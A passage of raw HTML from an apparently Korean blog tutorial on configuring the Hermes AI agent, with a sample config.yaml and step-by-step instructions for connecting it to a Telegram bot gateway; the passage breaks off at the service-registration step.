&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIUEsg%2FdJMcagyi6YI%2FSgrJfkLqAvGb87aqTI0HKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;166&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 챗 실행여부를 물어보면 Y로 진행해보자.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEj80x%2FdJMcahxfSjX%2FjcVRJAJNrSqWB9AxXr5dkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1542&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 혹시 다음과 같이 오류가 발생하면, 보통 터미널 문제이다. 하기에 별도로 관련 내용도 작성해 두었다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaYUP1%2FdJMcafMZsD3%2FOlVmLpBGlrdDKCTe8y2gCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;914&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 정상적으로 실행이 된 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2190&quot; data-origin-height=&quot;1824&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcA60va%2FdJMcahjJTUC%2FFlz2duNag9EEDbAQBDGh9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2190&quot; height=&quot;1824&quot; data-origin-width=&quot;2190&quot; data-origin-height=&quot;1824&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;config.yaml 기본 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 파일은 &lt;code&gt;~/.hermes/config.yaml&lt;/code&gt;이 단일 소스다. 우선순위: CLI 인자 &amp;gt; config.yaml &amp;gt; .env &amp;gt; 기본값.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuration/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Configuration 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;# ~/.hermes/config.yaml &amp;mdash; 자주 사용하는 핵심 설정
agent:
  max_turns: 90
  reasoning_effort: &quot;&quot;        # xhigh, high, medium, low, minimal, none

terminal:
  backend: local              # local | docker | ssh | modal | daytona | singularity
  timeout: 180
  persistent_shell: true

memory:
  memory_enabled: true
  user_profile_enabled: true
  memory_char_limit: 2200

compression:
  enabled: true
  threshold: 0.50
  summary_model: &quot;google/gemini-3-flash-preview&quot;

display:
  tool_progress: all          # off | new | all | verbose
  show_cost: false

skills:
  config: {}

security:
  redact_secrets: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes config edit&lt;/code&gt;로 편집하거나 &lt;code&gt;hermes config set KEY VAL&lt;/code&gt;로 개별 항목을 변경할 수 있다. &lt;code&gt;hermes config check&lt;/code&gt;는 업데이트 후 누락된 옵션을 찾아준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 기능 상세&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;다중 플랫폼 게이트웨이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널 CLI만 쓸 수도 있지만, Telegram, Discord, Slack, WhatsApp, Signal을 게이트웨이로 연결할 수 있다. 공식 문서는 14+ 플랫폼을 언급하는데, README에서 이름이 확인되는 건 이 5종이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, Slack에서 &quot;배포해줘&quot;라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. 메시징 앱이 곧 에이전트 리모컨이 되는 셈이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Telegram 연동 미니 튜토리얼&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 많이 쓰이는 Telegram 연동 방법을 정리한다. 5분이면 된다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/messaging/telegram&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Telegram 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1: 봇 만들기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://t.me/BotFather&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@BotFather&lt;/a&gt;를 검색해서 대화를 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/newbot&lt;/code&gt;을 보내면 이름과 username(끝이 &lt;code&gt;bot&lt;/code&gt;으로 끝나야 함)을 물어본다. 완료되면 &lt;code&gt;123456789:ABCdefGHI...&lt;/code&gt; 형태의 봇 토큰을 준다. 이 토큰은 비밀로 유지해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;상단 검색창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;@BotFather&lt;span&gt;&amp;nbsp;&lt;/span&gt;검색 &amp;rarr; 클릭해서 채팅 시작&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtPvXW%2FdJMcacaTaU0%2FuJIyDCzKmGDkOKIapxnYHK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;327&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc16Sl%2FdJMb996hRCg%2Fh7pHOvwDgopaix1c6yVPR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;289&quot; height=&quot;210&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;채팅창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;/newbot&lt;span&gt;&amp;nbsp;&lt;/span&gt;입력 후 전송&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; id=&quot;kEditorPhotosEditingImage-3&quot; style=&quot;width: 50.7913%; margin-right: 10px;&quot; width=&quot;520&quot; height=&quot;1094&quot; data-widthpercent=&quot;51.39&quot; data-filename=&quot;blob&quot; data-origin-height=&quot;700&quot; data-origin-width=&quot;300&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPYJz0%2FdJMcacopRUe%2Fx55Fjtk28WP3eP84kKAAjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; id=&quot;kEditorPhotosEditingImage-4&quot; style=&quot;width: 48.0459%;&quot; data-widthpercent=&quot;48.61&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-32-56 002.jpeg&quot; data-origin-height=&quot;2664&quot; data-origin-width=&quot;1080&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEtGEV%2FdJMcafSYf6d%2FrfmZ3z9K0XeaxTivAfKX3K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2664&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;BotFather가 질문하면 답변 입력&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 이름?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;xxxx_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(자유롭게)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 username?&quot; &amp;rarr;&lt;span&gt; xxx&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #28a745;&quot; data-ke-size=&quot;size16&quot;&gt;토큰 발급 완료! (채팅으로 토큰이 표시됨)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpHJJk%2FdJMcac2XQaq%2FXOjouKcyjVF3Mj5S25RbIk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;633&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2: 내 사용자 ID 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://t.me/userinfobot&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@userinfobot&lt;/a&gt;에게 아무 메시지나 보내면 숫자 ID(예: &lt;code&gt;123456789&lt;/code&gt;)를 알려준다. username이 아니라 이 숫자 ID가 필요하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNm7r6%2FdJMcaibRYoG%2F0oEMQv073kG7hkxGBiEiJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;354&quot; height=&quot;324&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;1830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlnLL7%2FdJMcabKAWzl%2F82HWm6P8WejDOosANgx5C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;734&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;1830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3: Hermes에 연결&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: 대화형 설정 (추천)
hermes gateway setup
# &amp;rarr; Telegram 선택 &amp;rarr; 봇 토큰 입력 &amp;rarr; 사용자 ID 입력

# 방법 2: 수동 설정 (~/.hermes/.env에 추가)
TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrSTUvwxYZ
TELEGRAM_ALLOWED_USERS=123456789    # 콤마로 여러 명 가능

# 게이트웨이 시작
hermes gateway&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &amp;gt; hermes&amp;nbsp;gateway&amp;nbsp;setup&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW6zS3%2FdJMcah45CrB%2FAHyGPNN3wDgr9akdHpSmvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;321&quot; height=&quot;232&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 아까 bot father가 발급해준 토큰 입력하고, user ids를 입력해주자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;818&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcldO6g%2FdJMcacJuAyq%2FJBnnkuVJD9wBfpRcgvPi9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;356&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;818&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4: Home Channel 설정 (선택)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cron 작업 결과나 알림을 받을 채팅방을 지정할 수 있다. Home channel ID를 물어보는데, 비워두면 &lt;code&gt;Skipped&lt;/code&gt; 처리 후 &quot;Use your user ID as the home channel? [Y/n]&quot;을 한 번 더 물어본다. &lt;b&gt;Y&lt;/b&gt;를 누르면 봇과의 DM이 홈 채널이 되어 cron 결과가 DM으로 도착한다. 나중에 바꾸고 싶으면 채팅에서 &lt;code&gt;/set-home&lt;/code&gt;을 입력하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs44i1%2FdJMcaiQpti9%2Fkn1FKrHU5bZjMkZykXBnbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;168&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5: 서비스 등록 + 테스트&lt;/b&gt;&lt;/p&gt;
